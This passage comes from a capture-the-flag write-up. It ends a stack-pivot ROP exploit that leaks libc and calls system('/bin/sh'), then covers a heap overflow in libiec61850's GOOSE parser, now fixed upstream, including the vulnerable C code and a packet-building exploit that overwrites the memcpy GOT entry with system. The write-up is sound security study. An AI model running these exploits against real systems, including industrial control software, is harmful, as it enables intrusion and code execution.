<p>The first obstacle can be solved quite easily by leveraging the internal buffer of the stdin FILE structure. Even though only 16 bytes are read into the buffer on the stack, we can provide a lot more bytes which will be stored in the internal buffer of the FILE structure located on the heap. This enables us to pivot to the heap and execute a longer rop chain.</p>

<p>The second obstacle can probably be solved in many ways. I used the <code class="language-plaintext highlighter-rouge">provide_a_little_help</code> function to obtain a libc leak. By setting up a fake stackframe and returning into the <code class="language-plaintext highlighter-rouge">provide_a_little_help</code> function at an offset we can leverage the function to search and print the address of libc for us.</p>

<p>After having overcome these two obstacles, I encountered a third obstacle I didn’t previously account for. Since we filled up the internal buffer of stdin, we have to first empty the buffer somehow until we can read in the second part of our rop chain which uses the obtained libc leak to return to <code class="language-plaintext highlighter-rouge">system</code>. After many tries I managed to empty the stdin buffer and get another read by setting up a fake stackframe that contained a pointer to stdin and then returning to the <code class="language-plaintext highlighter-rouge">fgets</code> call in the <code class="language-plaintext highlighter-rouge">provide_a_little_help</code> function.</p>

<p>Having overcome this last obstacle, we can simply overflow the stack again with the second read and execute our <code class="language-plaintext highlighter-rouge">system("/bin/sh")</code> rop chain.</p>

<h3 id="exploit-2">Exploit</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">io</span> <span class="o">=</span> <span class="n">start</span><span class="p">(</span><span class="n">argv</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="n">env</span><span class="p">)</span>

<span class="n">pattern</span> <span class="o">=</span> <span class="sa">r</span><span class="s">'([0-9a-fA-F]+)'</span>

<span class="n">once</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">decode</span><span class="p">()</span>
<span class="n">once</span> <span class="o">=</span> <span class="p">[</span><span class="nb">int</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">re</span><span class="p">.</span><span class="n">findall</span><span class="p">(</span><span class="n">pattern</span><span class="p">,</span> <span class="n">once</span><span class="p">)]</span>
<span class="n">once</span> <span class="o">=</span> <span class="n">once</span><span class="p">[</span><span class="mi">1</span><span class="p">:]</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Once: "</span> <span class="o">+</span> <span class="s">" "</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">once</span><span class="p">))</span>

<span class="n">bin_base</span> <span class="o">=</span> <span class="n">once</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>

<span class="n">heap</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">decode</span><span class="p">()</span>
<span class="n">heap</span> <span class="o">=</span> <span class="p">[</span><span class="nb">int</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">re</span><span class="p">.</span><span class="n">findall</span><span class="p">(</span><span class="n">pattern</span><span class="p">,</span> <span class="n">heap</span><span class="p">)]</span>
<span class="n">heap</span> <span class="o">=</span> <span class="n">heap</span><span class="p">[</span><span class="mi">1</span><span class="p">:]</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Heap: "</span> <span class="o">+</span> <span class="s">" "</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">heap</span><span class="p">))</span>

<span class="n">heap_base</span> <span class="o">=</span> <span class="n">heap</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>

<span class="n">stack</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">decode</span><span class="p">()</span>
<span class="n">stack</span> <span class="o">=</span> <span class="p">[</span><span class="nb">int</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">re</span><span class="p">.</span><span class="n">findall</span><span class="p">(</span><span class="n">pattern</span><span class="p">,</span> <span class="n">stack</span><span class="p">)]</span>
<span class="n">stack</span> <span class="o">=</span> <span class="n">stack</span><span class="p">[</span><span class="mi">1</span><span class="p">:]</span>

<span class="k">print</span><span class="p">(</span><span class="s">"Stack: "</span> <span class="o">+</span> <span class="s">" "</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">stack</span><span class="p">))</span>

<span class="n">my_input</span> <span class="o">=</span> <span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x18a0</span> <span class="o">+</span> <span class="mh">0x10</span> <span class="c1"># remote
</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Heap my input: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">my_input</span><span class="p">))</span>
<span class="n">rsp_begin</span> <span class="o">=</span> <span class="n">stack</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">-</span> <span class="mh">0x1640</span>

<span class="k">print</span><span class="p">(</span><span class="s">"RSP begin: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">rsp_begin</span><span class="p">))</span>

<span class="c1"># pivot to heap
</span><span class="n">payload</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">my_input</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">bin_base</span> <span class="o">+</span> <span class="mh">0x1312</span><span class="p">)</span> <span class="c1">#nop; leave; ret
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">my_input</span> <span class="o">+</span> <span class="mh">0x80</span><span class="p">)</span> <span class="c1"># rbp
</span>
<span class="c1"># set up stackframe so that provide_little_help
# searches for libc and prints out its address
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">bin_base</span> <span class="o">+</span> <span class="mh">0x11ed</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"B"</span><span class="o">*</span><span class="mh">0x30</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">my_input</span> <span class="o">+</span> <span class="mh">0x50</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

<span class="c1"># libc specific values (simply providing "libc" string didn't work for some reason)
# payload +=b"14300" # local
</span><span class="n">payload</span> <span class="o">+=</span><span class="sa">b</span><span class="s">"26000"</span> <span class="c1"># remote
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"B"</span><span class="o">*</span><span class="mi">35</span>

<span class="c1"># return to main fread in order to get stdin
# pointer onto our fake heap stack
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">my_input</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">bin_base</span> <span class="o">+</span> <span class="mh">0x1323</span><span class="p">)</span>

<span class="c1"># return to fgets in provide_little_help func
# passing in the stdin ptr on our fake heap stack
</span><span class="k">print</span><span class="p">(</span><span class="s">"Stdin ptr ?: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">my_input</span> <span class="o">+</span> <span class="mh">0x8</span><span class="o">+</span><span class="mh">0x18</span><span class="p">))</span>
<span class="c1">#payload += p64(bin_base + 0x4020+0x18) #rbp, fread
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">my_input</span> <span class="o">+</span> <span class="mh">0x8</span> <span class="o">+</span><span class="mh">0x18</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">bin_base</span> <span class="o">+</span> <span class="mh">0x126a</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="s">"payload len: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)))</span>

<span class="n">io</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>

<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"26000: "</span><span class="p">)</span> <span class="c1"># remote
#io.recvuntil("14300: ")
</span>
<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">12</span><span class="p">),</span> <span class="mh">0x10</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Leak: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="p">))</span>

<span class="c1"># overflow a buffer somewhere in fgets call and win
</span><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"A"</span><span class="o">*</span><span class="mh">0x10</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">my_input</span> <span class="o">-</span><span class="mh">0x100</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="o">+</span><span class="mh">0x27456</span><span class="p">)</span> <span class="c1"># ret
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0x27ab5</span><span class="p">)</span> <span class="c1">#pop rdi; ret
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s">"/bin/sh"</span><span class="p">)))</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">[</span><span class="s">'system'</span><span class="p">])</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"A"</span><span class="o">*</span><span class="mh">0x8</span>

<span class="c1">#gdb.attach(io, gdbscript)
</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>

<span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<h2 id="honk-honk-sec">Honk! Honk!</h2>
<p>Honk! Honk! was a pwn challenge and the most interesting challenge to me as it required to find and exploit a zero day in the GOOSE protocol implementation of the <a href="https://github.com/mz-automation/libiec61850">libiec61850</a> library. The GOOSE (Generic Object-Oriented Substation Event) protocol is a communication protocol used in electrical substations for exchanging status and event data over an Ethernet network.</p>

<p>The challenge builds the <code class="language-plaintext highlighter-rouge">goose_subscriber_example</code> application without PIE enabled and with a small patch applied which causes the <code class="language-plaintext highlighter-rouge">system</code> function to be used by the application. This is helpful for exploitation as we will see. The GOOSE subscriber listens on the loopback interface for incoming GOOSE messages sent by publishers, parses them and then simply prints information about the messages.</p>

<p>The GOOSE subscriber parses the incoming messages by calling the <code class="language-plaintext highlighter-rouge">parseGooseMessage</code> function. This function parses GOOSE messages in two different ways depending on if this is the first message of a kind received from a specific publisher or not. If a publisher sends a new kind of message the <code class="language-plaintext highlighter-rouge">parseAllDataUnknownValue</code> function will be called, else the <code class="language-plaintext highlighter-rouge">parseAllData</code> function.</p>

<h3 id="bug">Bug</h3>
<p>Scrolling through the commit history of the repository, we can find a <a href="https://github.com/mz-automation/libiec61850/commit/30217b41cce7805ce291b967a92f760483fc43fe">commit</a> which fixed vulnerabilities related to malformed bit-string, integer, and unsigned values. The fix however only changed the <code class="language-plaintext highlighter-rouge">parseAllDataUnknownValue</code> function but not the <code class="language-plaintext highlighter-rouge">parseAllData</code> function. Below are the two versions for parsing the bit-string data type:</p>

<p><strong>parseAllDataUnknownValue:</strong></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">case</span> <span class="mh">0x84</span><span class="p">:</span> <span class="cm">/* BIT STRING */</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">elementLength</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
        <span class="kt">int</span> <span class="n">padding</span> <span class="o">=</span> <span class="n">buffer</span><span class="p">[</span><span class="n">bufPos</span><span class="p">];</span>
        <span class="kt">int</span> <span class="n">rawBitLength</span> <span class="o">=</span> <span class="p">(</span><span class="n">elementLength</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="mi">8</span><span class="p">;</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">padding</span> <span class="o">&gt;</span> <span class="mi">7</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">DEBUG_GOOSE_SUBSCRIBER</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">printf</span><span class="p">(</span><span class="s">"GOOSE_SUBSCRIBER:      invalid bit-string (padding not plausible)</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
            <span class="p">}</span>

            <span class="k">goto</span> <span class="n">exit_with_error</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">else</span> <span class="p">{</span>
            <span class="n">value</span> <span class="o">=</span> <span class="n">MmsValue_newBitString</span><span class="p">(</span><span class="n">rawBitLength</span> <span class="o">-</span> <span class="n">padding</span><span class="p">);</span>
            <span class="n">memcpy</span><span class="p">(</span><span class="n">value</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">bitString</span><span class="p">.</span><span class="n">buf</span><span class="p">,</span> <span class="n">buffer</span> <span class="o">+</span> <span class="n">bufPos</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">elementLength</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">DEBUG_GOOSE_SUBSCRIBER</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">printf</span><span class="p">(</span><span class="s">"GOOSE_SUBSCRIBER:      invalid bit-string</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="k">goto</span> <span class="n">exit_with_error</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
<span class="k">break</span><span class="p">;</span>
</code></pre></div></div>
<p><strong>parseAllData:</strong></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">case</span> <span class="mh">0x84</span><span class="p">:</span> <span class="cm">/* BIT STRING */</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">MmsValue_getType</span><span class="p">(</span><span class="n">value</span><span class="p">)</span> <span class="o">==</span> <span class="n">MMS_BIT_STRING</span><span class="p">)</span> <span class="p">{</span>
        <span class="kt">int</span> <span class="n">padding</span> <span class="o">=</span> <span class="n">buffer</span><span class="p">[</span><span class="n">bufPos</span><span class="p">];</span>
        <span class="kt">int</span> <span class="n">bitStringLength</span> <span class="o">=</span> <span class="p">(</span><span class="mi">8</span> <span class="o">*</span> <span class="p">(</span><span class="n">elementLength</span> <span class="o">-</span> <span class="mi">1</span><span class="p">))</span> <span class="o">-</span> <span class="n">padding</span><span class="p">;</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">bitStringLength</span> <span class="o">==</span> <span class="n">value</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">bitString</span><span class="p">.</span><span class="n">size</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">memcpy</span><span class="p">(</span><span class="n">value</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">bitString</span><span class="p">.</span><span class="n">buf</span><span class="p">,</span> <span class="n">buffer</span> <span class="o">+</span> <span class="n">bufPos</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span>
                   <span class="n">elementLength</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="k">else</span> <span class="p">{</span>
            <span class="n">pe</span> <span class="o">=</span> <span class="n">GOOSE_PARSE_ERROR_LENGTH_MISMATCH</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
        <span class="n">pe</span> <span class="o">=</span> <span class="n">GOOSE_PARSE_ERROR_TYPE_MISMATCH</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">break</span><span class="p">;</span>
</code></pre></div></div>

<p>Comparing the two we can see that the code in the <code class="language-plaintext highlighter-rouge">parseAllData</code> function does not check the padding length supplied. We can use this to achieve a heap overflow.</p>

<p>Consider the following example: We create a new bit-string with an <code class="language-plaintext highlighter-rouge">elementLength</code> of 25 bytes and 0 padding. Based on the <code class="language-plaintext highlighter-rouge">parseAllDataUnknownValue</code> function this will create a bit-string with a <code class="language-plaintext highlighter-rouge">rawBitLength</code> of (25-1)*8 = 192 bits. Afterwards we send the same type of message again but now we supply an <code class="language-plaintext highlighter-rouge">elementLength</code> of 56 and padding of 248. Based on the <code class="language-plaintext highlighter-rouge">parseAllData</code> function the <code class="language-plaintext highlighter-rouge">bitStringLength</code> will correspond to (8 * (56 - 1)) - 248 = 192 bits, so the same <code class="language-plaintext highlighter-rouge">bitStringLength</code> as our initial bit-string ! However, the <code class="language-plaintext highlighter-rouge">elementLength</code> used for the <code class="language-plaintext highlighter-rouge">memcpy</code> is actually 55 bytes instead of 24 bytes, causing a heap overflow.</p>

<h3 id="gaining-rce">Gaining RCE</h3>
<p>To gain code execution, I used the heap overflow to corrupt a metadata structure (<code class="language-plaintext highlighter-rouge">MmsValue</code>) of another bit-string. The important parts of the <code class="language-plaintext highlighter-rouge">MmsValue</code> structure are shown below:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">MmsType</span> <span class="n">type</span><span class="p">;</span>
    <span class="kt">uint8_t</span> <span class="n">deleteValue</span><span class="p">;</span>
    <span class="k">union</span> <span class="n">uMmsValue</span> <span class="p">{</span>
       <span class="p">...</span>
        <span class="k">struct</span> <span class="p">{</span>
            <span class="kt">int</span> <span class="n">size</span><span class="p">;</span>     <span class="cm">/* Number of bits */</span>
            <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">buf</span><span class="p">;</span>
        <span class="p">}</span> <span class="n">bitString</span><span class="p">;</span>
        <span class="p">...</span>
    <span class="p">}</span> <span class="n">value</span><span class="p">;</span>
</code></pre></div></div>

<p>I corrupted the <code class="language-plaintext highlighter-rouge">buf</code> pointer of a bit-string to point to the <code class="language-plaintext highlighter-rouge">GOT</code> of the <code class="language-plaintext highlighter-rouge">memcpy</code> function. Afterwards I overwrote the <code class="language-plaintext highlighter-rouge">memcpy</code> entry with the address of the <code class="language-plaintext highlighter-rouge">PLT</code> stub of the <code class="language-plaintext highlighter-rouge">system</code> function and by that gained code execution on the next call to memcpy.</p>

<p>The heap overflow bug has now been <a href="https://github.com/mz-automation/libiec61850/commit/f41667367a0c9841400bd3e50415db8a5301b7ad">fixed</a>.</p>

<h3 id="exploit-3">Exploit</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">build_pkt</span><span class="p">(</span><span class="n">payload</span><span class="p">):</span>
    <span class="n">buf</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x01\x0c\xcd\x01\x00\x01</span><span class="s">'</span> <span class="c1">#dstmac
</span>    <span class="n">buf</span> <span class="o">+=</span> <span class="n">p8</span><span class="p">(</span><span class="mh">0x41</span><span class="p">)</span><span class="o">*</span><span class="mi">6</span> <span class="c1">#srcmac
</span>    <span class="n">buf</span> <span class="o">+=</span> <span class="n">p8</span><span class="p">(</span><span class="mh">0x88</span><span class="p">)</span>
    <span class="n">buf</span> <span class="o">+=</span> <span class="n">p8</span><span class="p">(</span><span class="mh">0xb8</span><span class="p">)</span>
    <span class="n">buf</span> <span class="o">+=</span> <span class="n">p16</span><span class="p">(</span><span class="mi">1000</span><span class="p">,</span> <span class="n">endian</span><span class="o">=</span><span class="s">'big'</span><span class="p">)</span>
    <span class="n">buf</span> <span class="o">+=</span> <span class="n">p16</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span><span class="o">+</span><span class="mh">0x8</span><span class="p">,</span> <span class="n">endian</span><span class="o">=</span><span class="s">'big'</span><span class="p">)</span> <span class="c1">#len
</span>    <span class="n">buf</span> <span class="o">+=</span> <span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">4</span> <span class="c1"># reserved field
</span>    <span class="n">buf</span> <span class="o">+=</span> <span class="n">payload</span>

    <span class="k">return</span> <span class="n">buf</span>

<span class="n">gocbref</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"simpleIOGenericIO/LLN0$GO$gcbAnalogValues"</span>

<span class="k">def</span> <span class="nf">el</span><span class="p">(</span><span class="n">l</span><span class="p">):</span>
    <span class="n">buf</span> <span class="o">=</span> <span class="n">p8</span><span class="p">(</span><span class="mh">0x4</span> <span class="o">|</span> <span class="mh">0x80</span><span class="p">)</span>
    <span class="n">buf</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">endian</span><span class="o">=</span><span class="s">'big'</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">buf</span>

<span class="k">def</span> <span class="nf">build_all_data</span><span class="p">(</span><span class="n">padding</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">payload2</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
    <span class="n">buf</span> <span class="o">=</span> <span class="n">p8</span><span class="p">(</span><span class="mh">0x84</span><span class="p">)</span> <span class="c1"># bit string
</span>    <span class="n">buf</span> <span class="o">+=</span> <span class="n">el</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">buf</span> <span class="o">+=</span> <span class="n">p8</span><span class="p">(</span><span class="n">padding</span><span class="p">)</span>
    <span class="n">buf</span> <span class="o">+=</span> <span class="n">payload</span>

    <span class="n">buf</span> <span class="o">+=</span> <span class="n">p8</span><span class="p">(</span><span class="mh">0x84</span><span class="p">)</span> <span class="c1"># bit string
</span>    <span class="n">buf</span> <span class="o">+=</span> <span class="n">el</span><span class="p">(</span><span class="mh">0x10</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">buf</span> <span class="o">+=</span> <span class="n">p8</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">payload2</span><span class="p">:</span>
        <span class="n">buf</span> <span class="o">+=</span> <span class="n">payload2</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"B"</span><span class="o">*</span><span class="mh">0x10</span>

    <span class="k">return</span> <span class="n">buf</span>

<span class="k">def</span> <span class="nf">build_goose</span><span class="p">(</span><span class="n">len_data</span><span class="p">):</span>
    <span class="n">buf</span> <span class="o">=</span> <span class="n">p8</span><span class="p">(</span><span class="mh">0x80</span><span class="p">)</span> <span class="c1">#gocbref
</span>    <span class="n">buf</span> <span class="o">+=</span> <span class="n">el</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">gocbref</span><span class="p">))</span>
    <span class="n">buf</span> <span class="o">+=</span> <span class="n">gocbref</span>
    <span class="n">buf</span> <span class="o">+=</span> <span class="n">p8</span><span class="p">(</span><span class="mh">0xab</span><span class="p">)</span> <span class="c1"># all data
</span>    <span class="n">buf</span> <span class="o">+=</span> <span class="n">el</span><span class="p">(</span><span class="n">len_data</span><span class="p">)</span>
    <span class="n">buf</span> <span class="o">=</span> <span class="n">el</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">buf</span><span class="p">))</span> <span class="o">+</span> <span class="n">buf</span>
    <span class="k">return</span> <span class="n">buf</span>

<span class="k">def</span> <span class="nf">combine_pkt</span><span class="p">(</span><span class="n">goose</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
    <span class="n">buf</span> <span class="o">=</span> <span class="n">p8</span><span class="p">(</span><span class="mh">0x61</span><span class="p">)</span>
    <span class="n">buf</span> <span class="o">+=</span> <span class="n">goose</span>
    <span class="n">buf</span> <span class="o">+=</span> <span class="n">data</span>
    <span class="k">return</span> <span class="n">buf</span>

<span class="k">def</span> <span class="nf">print_pkt</span><span class="p">(</span><span class="n">pkt</span><span class="p">):</span>
    <span class="n">buf</span> <span class="o">=</span> <span class="s">"uint8_t buf[] = {"</span>
    <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">pkt</span><span class="p">:</span>
        <span class="n">buf</span> <span class="o">+=</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">b</span><span class="p">)</span><span class="si">}</span><span class="s">, "</span>

    <span class="n">buf</span> <span class="o">+=</span> <span class="s">"}"</span>
    <span class="k">print</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">""</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">send_pkt</span><span class="p">(</span><span class="n">pkt</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Sending: "</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">pkt</span><span class="p">))</span>
    <span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_PACKET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_RAW</span><span class="p">)</span>
    <span class="n">s</span><span class="p">.</span><span class="n">bind</span><span class="p">((</span><span class="s">'lo'</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span>

    <span class="n">print_pkt</span><span class="p">(</span><span class="n">pkt</span><span class="p">)</span>

    <span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">pkt</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">get_overflow</span><span class="p">(</span><span class="n">sz</span><span class="p">):</span>
    <span class="k">return</span> <span class="p">(</span><span class="n">sz</span><span class="o">*</span><span class="mi">8</span> <span class="o">+</span> <span class="mi">248</span><span class="p">)</span> <span class="o">//</span> <span class="mi">8</span>

<span class="c1"># Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
# pwndbg tele command
</span><span class="n">gdbscript</span> <span class="o">=</span> <span class="s">'''
break *0x406baf
continue
'''</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="o">**</span><span class="nb">locals</span><span class="p">())</span>

<span class="c1">#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">start</span><span class="p">(</span><span class="n">argv</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="n">env</span><span class="p">)</span>

<span class="c1"># initial allocation of dataSetValues
# parseAllDataUnknownValue
</span><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"A"</span><span class="o">*</span><span class="mh">0x18</span>
<span class="n">all_data</span> <span class="o">=</span> <span class="n">build_all_data</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span><span class="n">payload</span><span class="p">)</span>
<span class="n">goose</span> <span class="o">=</span> <span class="n">build_goose</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">all_data</span><span class="p">))</span>
<span class="n">pkt</span> <span class="o">=</span> <span class="n">combine_pkt</span><span class="p">(</span><span class="n">goose</span><span class="p">,</span> <span class="n">all_data</span><span class="p">)</span>
<span class="n">pkt</span> <span class="o">=</span> <span class="n">build_pkt</span><span class="p">(</span><span class="n">pkt</span><span class="p">)</span>
<span class="n">send_pkt</span><span class="p">(</span><span class="n">pkt</span><span class="p">)</span>

<span class="c1"># edit existing dataSetValues
# parseAllData
# trigger oob write to overwrite adjacent MmsValue struct
</span><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"chmod 666 /flag"</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">payload</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mh">0x18</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="c1"># 0x20 chunk PREV_INUSE | IS_MAPPED
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x25</span><span class="p">)</span>
<span class="c1"># 3 = type (bitstring), 0x80 = bit size
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0000800000000003</span><span class="p">)</span>
